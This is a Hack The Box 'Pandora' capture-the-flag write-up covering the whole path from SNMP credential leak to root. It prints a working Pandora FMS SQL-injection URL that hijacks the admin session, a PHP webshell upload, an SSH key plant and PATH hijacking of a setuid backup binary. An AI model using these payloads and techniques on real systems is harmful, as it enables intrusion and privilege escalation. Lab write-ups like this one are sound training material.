Hack The Box - Pandora

Premise

Second verse same as the first - we’re given an IP and no further information. Commence enumeration!

Enumeration

To set the stage, enumeration is probably the hardest part of this challenge. The rest is doable with some patience and research.

Out of the gate we have a website talking about some random product. There’s nothing interactable, and nmap only gives us TCP 22 and 80 as open ports.

Fuzzing with ffuf and nikto turns up nothing actionable, just icons and asset directories, neither of which can be used for anything.

This is where I got stuck a bit initially, trying to fingerprint the web server further, find alternate hostnames for name-based virtual hosts, etc…but there’s nothing, at least out of the gate.

From here, I decided to run a rather painstaking UDP scan with nmap, which turned up UDP 161:

Discovered open port 161/udp on 10.10.11.136 

This wound up being SNMP v1, so we can try running snmpwalk against it. Not being overly familiar with this tool, I just took the default examples and ran against it to experiment- snmpwalk -oS -c public -v 1 panda.htb. Among other information, if you watch long enough (I mentioned patience…) this will pop up with:

iso.3.6.1.2.1.25.4.2.1.5.843 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23

These credentials couldn’t possibly work over SSH, could they? They do.

Unfortunately, our flag is not in the home dir of the user in question, but is unreadable in /home/matt/. On to other enumeration!

Foothold, but no real traction

At this point we’re on the box, we’ve got reliable access over ssh, but we can’t really do anything as the daniel user has little to no permissions.

We know we’ve got an Apache server running, so let’s see what else is running. Maybe there’s another site that we couldn’t enumerate earlier. As it turns out, there is another directory under /var/www - pandoraconsole but we can’t hit it remotely. Looking at /etc/apache/sites-enabled/pandora.conf we can see that it’s only listens on localhost which is part of the reason we couldn’t fuzz for it - and that it runs as matt, the user who has our first flag.

Opening a Pandora’s Box

Since this will only respond on localhost, we’ll need to proxy access. There are a few ways to do this, but SSH port forwarding is probably the easiest by far:

ssh -L 80:localhost:80 panda.htb

Yep! We have a console. Maybe the same creds? Maybe, but says user can only use the API. Main site links us to docs that cover the API, but long story short there’s no direct compromise available there - this is a deep rabbit hole.

What we do know at this point is that we’ve got another possible attack surace - Pandora FMS v7.0NG.742_FIX_PERL2020, and some quick research turns up a few vulnerabilities - https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained.

Following up with https://github.com/ibnuuby/CVE-2021-32099, we can run the example request and all of a sudden we have an active session as an admin.

http://localhost:80/pandora_console/include/chart_generator.php?session_id=a%27%20UNION%20SELECT%20%27a%27,1,%27id_usuario%7Cs:5:%22admin%22;%27%20as%20data%20FROM%20tsessions_php%20WHERE%20%271%27=%271

At this point we’ve got admin level access to this product, which must be an avenue for further compromise, but there’s nothing immiediately obvious.

Can we put things in the box?

As it turns out, the one thing we can do in this product is perform arbitrary file uploads.

While the paths for these get hashed in so far as how they’re returned in the file upload API, poking around the UI we can see some overlap between the images used to populate parts of the UI, logos, etc… and the contents of the directories that we’re able to upload to. This means we’ve likely got a predictable path for where our uploaded files will land.

While this doesn’t let us do anything fun like SVG vulnerabilities, it does let us do something even more silly… upload a PHP webshell.

Were our theories about predictable paths correct? Yep! http://localhost/pandora_console/images/webshell.php - and it looks like we’re running as matt. Let’s get the user flag!

cat /home/matt/user.txt
b7989...

Getting root

Let’s try to get a shell as matt by copying our public key into authorized_keys through the webshell.

echo <key> >> /home/matt/.ssh/authorized_keys
➜  ssh matt@panda.htb                                   
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon  4 Apr 16:38:43 UTC 2022

  System load:  0.02              Processes:             234
  Usage of /:   63.2% of 4.87GB   Users logged in:       1
  Memory usage: 9%                IPv4 address for eth0: 10.10.11.136
  Swap usage:   0%

  => /boot is using 91.8% of 219MB


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

matt@pandora:~$ 

We are in!

The current run of the mill stuff like polkit vulnerabilities appear to have been patched, so no luck there, and we don’t have any sudo privs. Nothing obvious gained here other than the user flag.

At this point I decided to take a step back and run pspy for a few hours to see if anything interesting came up. While this gave me a few leads, there was nothing that was jumping out at me or lead to anything other than rabbit holes.

After letting pspy again run for a bit longer in the background and getting nowhere I decided to check for something simple - we we have any setuid flagged scripts/binaries that we could abuse?

matt@pandora:/dev/shm$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pandora_backup
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/at
/usr/bin/fusermount
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1

pandora_backup looks like a plant… what is it and can we use it?

matt@pandora:/dev/shm$ ll /usr/bin/pandora_backup 
-rwsr-x--- 1 root matt 16816 Dec  3 15:58 /usr/bin/pandora_backup*

It’s either a plant, or its our target. I’m guessing the later. It’s a binary though, so let’s see what’s in it… hopefully there are some plain text strings:

PandoraFMS Backup Utility^@^@^@^@^@^@^@Now attempting to backup PandoraFMS client^@^@^@^@^@^@tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*^@Backup failed!

Ok, we can run with this… so it’s trying to create a tar file, and it’s not specifying the path to the executable. Can we abuse this with a PATH update?

tar: Removing leading `/' from hard link targets
/var/www/pandora/pandora_console/COPYING
/var/www/pandora/pandora_console/DB_Dockerfile

It’s definitely running tar. Let’s update PATH with a malicious tar executable that’s going to spawn a shell. Since this process runs as root, we should be able to get a root shell, right?

matt@pandora:/dev/shm$ echo "/bin/bash" > tar
matt@pandora:/dev/shm$ chmod +x tar 
matt@pandora:/dev/shm$ PATH=/dev/shm:$PATH
matt@pandora:/dev/shm$ echo $PATH
/dev/shm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Running tar as matt now gives us a new shell (as matt). Does this carry over into pandora_backup?

YES!

matt@pandora:/dev/shm$ /usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
root@pandora:/dev/shm# whoami
root
root@pandora:/dev/shm# cat /root/root.txt 
18dd17ce1...

Time to clean up and get out! GG!


ctf

1173 Words

2022-04-04 00:00 +0000